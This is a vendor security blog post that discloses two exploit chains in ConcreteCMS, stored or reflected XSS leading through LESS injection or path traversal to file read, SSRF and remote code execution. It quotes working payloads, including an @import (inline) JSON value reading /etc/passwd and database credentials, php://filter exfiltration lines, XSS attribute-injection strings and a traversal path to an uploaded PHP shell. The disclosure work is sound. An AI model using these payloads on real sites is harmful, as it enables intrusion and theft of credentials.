October 4, 2026
4 min read

From XSS to RCE: Two Exploit Chains in ConcreteCMS

Interactive Testing: Lead a Team of AI Hackers with Tenzai

Written by: Yonatan Drori & Daniel Goldberg

Individual vulnerabilities rarely tell the whole story. A reflected XSS may look like a browser-only issue, and a path traversal or template injection may appear to require an authenticated administrator. The risk changes when those primitives are connected across trust boundaries.

As part of our broader security research into ConcreteCMS, we found two chains that turn seemingly separate flaws into unauthenticated server compromise. One uses an administrator's browser to bridge a reflected XSS, file upload, and path traversal into code execution. The second combines stored XSS with LESS injection to reach file disclosure, SSRF, and, on affected glibc versions, remote code execution.

This post follows each chain from source-level root cause to the production conditions that determine its real impact. This is a companion piece to a wider analysis found at Blog: ConcreteCMS - Can an AI agent find them all

Exploit chains

XSS2SSTI or XSS TO RCE? Production facts matter!

Often, source code analysis discovers vulnerabilities that have a specific impact in the source code and a different impact in production.

In this case, an unsanitized value leads to SSTI. Depending on the production environment (exact version of glibc) this can be turned into an RCE rather than an SSTI.

To make this chain more interesting, we paired the SSTI with a stored XSS to go from unauth to full compromise.

Bug 1: SSTI - Unsanitized color channels reach the LESS compiler verbatim

ConcreteCMS has a graphical theme style customizer, which lets an admin tweak a theme's color variables (page-background, link-color, etc.) through a form that posts r/g/b/a values as JSON. ColorValue stores whatever it's given with no type check at all:

https://github.com/concretecms/concretecms/blob/c747e425266ac50c12b5f2f74fa895ecec5cd777/concrete/src/StyleCustomizer/Style/Value/ColorValue.php#L42

// concrete/src/StyleCustomizer/Style/Value/ColorValue.php:42
public function setRed($r)
{
    $this->r = $r;   // @var mixed — no validation
    return $this;
}

When the style is compiled, ColorStyle interpolates the four channels into a CSS rgba() string with a raw %s:

https://github.com/concretecms/concretecms/blob/c747e425266ac50c12b5f2f74fa895ecec5cd777/concrete/src/StyleCustomizer/Style/ColorStyle.php#L69

// concrete/src/StyleCustomizer/Style/ColorStyle.php:69
$variableValue = sprintf(
    'rgba(%s, %s, %s, %s)',
    $value->getRed(),    // ← attacker-controlled, unsanitized
    $value->getGreen(),
    $value->getBlue(),
    $value->getAlpha()
);

That string is handed to Less_Parser::ModifyVars(), which reaches serializeVars() -0 the point where a LESS variable assignment gets built by string concatenation rather than templating:

https://github.com/wikimedia/less.php/blob/e238ad228d74b6ffd38209c799b34e9826909266/lib/Less/Parser.php#L2651

// vendor/wikimedia/less.php/lib/Less/Parser.php:2651
$s .= (($name[0] === '@') ? '' : '@') . $name . ': ' . $value . ((substr($value, -1) === ';') ? '' : ';');

Because the value is never escaped and never validated as numeric, closing the rgba(...) call early and appending a second LESS statement is enough to inject arbitrary directives.

The r channel does the work; g/b/a just get absorbed into a second, harmless rgba(...) call so the LESS stays syntactically valid.

For exploiting this SSTI, we are going to use the @import (inline) directive in our injected LESS code to read arbitrary files (i.e. /etc/passwd):

{
  "value": {
    "r": "0, 0, 0, 0); @import (inline) \"/etc/passwd\"; @dummy: rgba(0",
    "g": "0", "b": "0", "a": "1"
  }
}

which serializes to:

@page-background-color: rgba(0, 0, 0, 0); @import (inline) "/etc/passwd"; @dummy: rgba(0, 0, 0, 1);

@import (inline) is a legitimate LESS feature for pulling a file's raw contents into the compiled output verbatim. The parser implements it with a direct file_get_contents():

https://github.com/wikimedia/less.php/blob/e238ad228d74b6ffd38209c799b34e9826909266/lib/Less/Tree/Import.php#L176

// vendor/wikimedia/less.php/lib/Less/Tree/Import.php:176
Less_Parser::AddParsedFile($full_path);
$contents = new Less_Tree_Anonymous( file_get_contents($full_path), 0, array(), true );

$full_path supports PHP stream wrappers, not just plain paths - http://, https://, php://filter, data://, etc. all work (phar:// was disabled explicitly by ConcreteCMS in one of their recent security fixes). That means the injection is a universal local-file-read and an internal-network SSRF primitive in one:

@import (inline) "/etc/passwd"                                                → root:x:0:0:root:/root:/bin/bash ...
@import (inline) "application/config/database.php"                            → DB host/user/password in cleartext
@import (inline) "<http://127.0.0.1:80/>"                                       → full response body of any internal service
@import (inline) "php://filter/convert.base64-encode/resource=/etc/passwd"    → clean exfil of binary files

The compiled CSS leaked file contents and is written to a world-readable cache file (application/files/cache/css/{theme}/main.css) and served to every visitor, authenticated or not, on the next page load.

Bug 2: Stored XSS in the Express entry deletion log

Express is ConcreteCMS's form/object builder, used behind every form in a ConcreteCMS website. For example "contact us," newsletter signup, or job application form.

Every Express entry has a label, and it's built directly from the submitter's own field values, with no escaping:

https://github.com/concretecms/concretecms/blob/c747e425266ac50c12b5f2f74fa895ecec5cd777/concrete/src/Express/Entry/Formatter/LabelFormatter.php#L47-L54

// concrete/src/Express/Entry/Formatter/LabelFormatter.php:47-54
public function getLabel(Entry $entry)
{
    foreach ($entry->getEntity()->getAttributes() as $ak) {
        if ($ak->getAttributeType()->getAttributeTypeHandle() == 'text') {
            return $entry->getAttribute($ak);   // ← raw submitted value, first text field
        }
    }
}

That label doesn't get rendered anywhere interesting on its own. But Express entries get logged whenever one is deleted  and deleting spam entries is a routine admin task on any public-facing form:

https://github.com/concretecms/concretecms/blob/c747e425266ac50c12b5f2f74fa895ecec5cd777/concrete/src/Express/Entry/Listener.php#L21-L58

// concrete/src/Express/Entry/Listener.php:21-23, 56-58
public function preRemove(Entry $entry, LifecycleEventArgs $event)
{
    $this->logger->info(t('Deleting Express entry: %s (%s)', $entry->getLabel(), $entry->getID()));
    ...
}

public function postRemove(Entry $entry, LifecycleEventArgs $event)
{
    $this->logger->info(t('Express entry %s (%s) deleted successfully.', $entry->getLabel(), $entry->getID()));
}

The raw label - attacker-controlled text - is now sitting in the Logs table. When any admin opens Dashboard → Reports → Logs, the message column runs it through what the codebase calls "making it nice":

‍https://github.com/concretecms/concretecms/blob/c747e425266ac50c12b5f2f74fa895ecec5cd777/concrete/src/Utility/Service/Text.php#L261-L268

// concrete/src/Utility/Service/Text.php:261-268
public function makenice($input)
{
    $output = strip_tags($input);   // no raw <, > in our payload, so this is a no-op
    $output = $this->autolink($output);
    $output = nl2br($output);
    return $output;
}

autolink() turns anything that looks like a URL into an <a href="..."> tag by string concatenation with no additional checks.

https://github.com/concretecms/concretecms/blob/c747e425266ac50c12b5f2f74fa895ecec5cd777/concrete/src/Utility/Service/Text.php#L290-L302

// concrete/src/Utility/Service/Text.php:290-302
public function autolink($input, $newWindow = false, $defaultProtocol = 'http://')
{
    $target = $newWindow ? ' target="_blank"' : '';
    $output = preg_replace_callback(
        '/(http:\/\/|https:\/\/|(www\.))(([^\s<]{4,80})[^\s<]*)/',
        function (array $matches) use ($target, $defaultProtocol) {
            $protocol = strpos($matches[1], ':') ? $matches[1] : $defaultProtocol;
            return "<a href=\"{$protocol}{$matches[2]}{$matches[3]}\"{$target} rel=\"nofollow\">{$matches[2]}{$matches[4]}</a>";
        },
        $input);
    return $output;
}

The match class is [^\s<] - it excludes whitespace and <, but not `"`. So a submitted field value of:

http://x"autofocus/tabindex="1"onfocus="alert(document.domain)

survives strip_tags untouched (there are no angle brackets in it at all) and gets captured whole by the regex (nothing in it is whitespace or `<`). It comes out the other side as:

<a href="http://x" autofocus tabindex="1" onfocus="alert(document.domain)" rel="nofollow">...</a>

No space precedes autofocus, none separates autofocus from tabindex, and none separates tabindex from onfocus - none is required. Per the HTML tokenizer spec, the “after attribute value (quoted)” state starts a new attribute the instant it sees a non-whitespace, non-/, non-> character right after a quoted value closes. Therefore we will have 3 different attributes inside the <a> tag (autofocus, tabindex, onfocus).

Every major browser parses this as href="http:/x", a live autofocus attribute, tabindex="1", an onfocus="alert(document.domain)" handler, and rel=”nofollow” tacked on after. Because autofocus forces the browser to focus the element the instant it's parsed, the handler fires the moment the log page loads, completely interactionless.

With this payload, the moment an admin goes into the logs dashboard page, our JavaScript runs in the admin's authenticated dashboard session.

Chained together

Using this chain the following unauthenticated attack path is possible: a public form submission plants the XSS payload as an Express entry label → an admin bulk-deletes spam entries (writing the payload into the log) → the same or another admin opens the log dashboard and the JavaScript fires in their session → the script reads the CSRF token already present in the page DOM and issues the theme-customizer POST itself → the SSTI payload lands → the next page load serves /etc/passwd embedded in the site's own CSS, to any anonymous visitor.

This uses the administrator as a victim carrying the attack payload from an unauthenticated section to the admin dashboard.

Escalation: RCE in real life using CVE-2024-2961 in glibc's iconv() (glibc<2.40)

Looking at the source code of ConcreteCMS and the source code for less.php, we see at the best an arbitrary file read. However thanks to memory-safety vulnerability in glibc, an attacker can convert the SSTI to arbitrary code execution. This is possible

if the target's glibc is older than 2.40 which is common.

The bug in glibc is CVE-2024-2961 in glibc's iconv() which is reachable using php://filter's iconv conversion path.

CVE-2024-2961 is a 4-byte heap buffer overflow in glibc's iconv() when converting a UTF-8 string to ISO-2022-CN-EXT. A specific character - \u5284, has no exact representation in that target encoding, and glibc's converter mishandles the fallback, writing past the end of its output buffer. PHP exposes

iconv() conversions as a stream filter (convert.iconv.*), which means anywhere an attacker can make PHP run a php://filter chain over data they control, they can trigger the overflow - and our @import (inline) primitive is exactly that: it's file_get_contents() on a URL we choose, and php://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=... is a valid URL.

From there, reaching arbitrary code execution relies on publicly known techniques (Ambionics - github.com/ambionics/cnext-exploits). We stack several php://filter conversions (zlib.inflate, dechunk, convert.iconv.L1.L1) to spray and shape the PHP heap, then trigger the overflow so it corrupts a chunk header in zend_mm_heap and redirects a heap-allocator function pointer at system(). The next allocation calls attacker-controlled data as a shell command instead of allocating memory.

There’s no need for an attacker to write application specific heap exploitation code for this attack. This is a well known public exploit. We mention it because ConcreteCMS's own file-read bug is possible to escalate to RCE only if you think about the victim server from application till OS. This impact is only possible if you work against real servers and not only source code.

To make our exploit work, we had to tweak the public code a bit to match our specific case. Compared to the public POC, ConcreteCMS theme compilation, style persistence, and page rendering allocations change the heap layout by placing their own chunks first, and that shifts where our corrupted chunk lands relative to zend_mm_heap. Those are easy tweaks and from there We fed the LESS SSTI primitive our own read/leak requests (/proc/self/maps to find heap and libc offsets, the target's own libc.so to pull symbol addresses) and from there this is a textbook attack.

XSS to RCE (CVE-2026-8134 + CVE-2026-8245)

A reflected XSS in a low-traffic admin page, chained through a file upload and a path traversal, produces unauthenticated remote code execution in the server via admin's browser with only client sided attacker interaction.

Because ConcreteCMS defaults session cookies to SameSite=Lax, top-level cross-site GET navigations from an attacker-controlled site carry the admin's session cookies, enabling silent execution without direct user interaction on the target domain.

Bug 1: Reflected XSS in legacy pagination (CVE-2026-8245)

The legacy form reports controller reads sortBy from the request and concatenates it directly into the pagination URL template:

// concrete/controllers/single_page/dashboard/reports/forms/legacy.php:197-199
$sortBy = $this->request->get('sortBy');
$paginator->init(
    (int) $this->request->get('page'), $answerSetCount,
    $pageBaseSurvey . '&page=%pageNum%&sortBy=' . $sortBy,  // raw concat
    $this->pageSize
);

That URL string is passed to the Pagination helper, which interpolates it into href attributes:

// concrete/src/Legacy/Pagination.php:309
$pages .= "<li class=\"page-item\"><a class=\"page-link\" href=\"{$linkURL}\" ...

ConcreteCMS has a Url::setVariable() helper that encodes query-string values, but it only runs on variables passed to it explicitly. Here, sortBy is already baked into the base URL string before setVariable is called, so it goes through raw. A sortBy value of 1"><img src onerror="..."> breaks out of the href attribute and injects arbitrary HTML into the admin dashboard page, we are limited to URL length but in practice this is enough for everything we need.

Bug 2: Path traversal in composer template - no validation before DB write + Stored template path resolved and passed to include (CVE-2026-8134)

Page type composer controls support a "custom template" that overrides how a block renders inside the composer form. An admin can set this via the edit-control dialog, which POSTs to /ccm/system/page/type/composer/form/edit_control/save. The save handler reads the template value from the request and passes it to sanitizeString() - which just strips HTML tags and has no concept of path traversal:

// concrete/controllers/backend/page/type/composer/form/edit_control/save.php
// (pre-fix, before 9.5.1)
protected function getPostedTemplate(): string{
    $template = $this->request->request->get('ptComposerFormLayoutSetControlCustomTemplate');

    return is_string($template) ? $this->app->make(SanitizeService::class)->sanitizeString($template) : '';
}

The value then reaches the DB write with no further checks:

// concrete/src/Page/Type/Composer/FormLayoutSetControl.php:234-242
public function updateFormLayoutSetControlCustomTemplate($template){
    $db->executeQuery(
        'update PageTypeComposerFormLayoutSetControls
         set ptComposerFormLayoutSetControlCustomTemplate = ?
         where ptComposerFormLayoutSetControlID = ?',
        [$template, $this->ptComposerFormLayoutSetControlID]
    );
}

The field is meant to hold a filename like my_template.php. A value like ../../../../application/files/1234/5678/9012/shell.jpg passes sanitizeString() unchanged since it has no tags to strip, and is stored verbatim in the database.

When the composer renders a form layout set control (BlockControl), it reads the stored customTemplate from the database and resolves it against the block's template directory. The resolution concatenates the value into a filesystem path with no boundary check:

// concrete/src/Page/Type/Composer/Control/BlockControl.php:230-255
if ($customTemplate) {
    $rec = $env->getRecord(
        DIRNAME_BLOCKS . '/' . $obj->getBlockTypeHandle()
        . '/' . DIRNAME_BLOCK_TEMPLATES_COMPOSER . '/' . $customTemplate
    );
    if ($rec->exists()) {
        $template = DIRNAME_BLOCK_TEMPLATES_COMPOSER . '/' . $customTemplate;
    }
}
$this->inc($template, ['control' => $this, 'obj' => $obj, 'description' => $description]);

When the composer page-add dialog is opened, FormLayoutSetControl reads the stored template from the DB and passes it directly to BlockControl::render() as the $customTemplate argument:

// concrete/src/Page/Type/Composer/FormLayoutSetControl.php:96-101
$control = $this->getPageTypeComposerControlObject();
$control->render(
    $this->getPageTypeComposerControlDisplayLabel(),
    $this->getPageTypeComposerFormLayoutSetControlCustomTemplate(),  // ← DB value, unsanitized
    $this->getPageTypeComposerFormLayoutSetControlDisplayDescription()
);

render() concatenates it into a path and passes it to inc(), which resolves it against the filesystem and calls include:

// concrete/src/Page/Type/Composer/Control/BlockControl.php:284-310
public function inc($file, $args = []){
    extract($args);
    // ...
    $r = $env->getRecord(DIRNAME_BLOCKS . '/' . $obj->getBlockTypeHandle() . '/' . $file, $pkg);
    if ($r->exists()) {
        include $r->file;  // <- arbitrary PHP execution
    }
}

The full path from DB to code execution: ptComposerFormLayoutSetControlCustomTemplate column → getPageTypeComposerFormLayoutSetControlCustomTemplate() → render($label, $customTemplate, ...) → inc($template) → include $r->file. The ../ sequences in the stored value cause the PHP engine to walk out of the block template directory and into application/files/, where the uploaded JPEG/PHP polyglot sits. PHP's include tokenizer ignores the JPEG header bytes and executes the <?php payload.

Conclusion

These chains share a simple story: exploitability is a system property. The actual impact of any vulnerability depends on the production server configuration and environment. Reviewing any single component in isolation leads to reduced impact.

In one chain, a browser-side flaw becomes server-side code execution by borrowing an administrator's authenticated session. In the second, a stored XSS activates a compiler injection primitive whose impact changes with the production environment, from file read and SSRF to RCE on affected glibc versions.

For defenders and researchers, the practical takeaway is to validate findings end to end. When examining a security report, test the real deployment, and keep digging after the first plausible impact. The most consequential vulnerabilities are rarely single bugs.

‍

Talk to us. We're listening.

See Tenzai run against an app you own.

Get a Demo

Media inquiries and interviews

[email protected]

Hiring elite hackers and more

Open roles
Get a demo

See Tenzai in action! Leave us your details and we'll get back to you.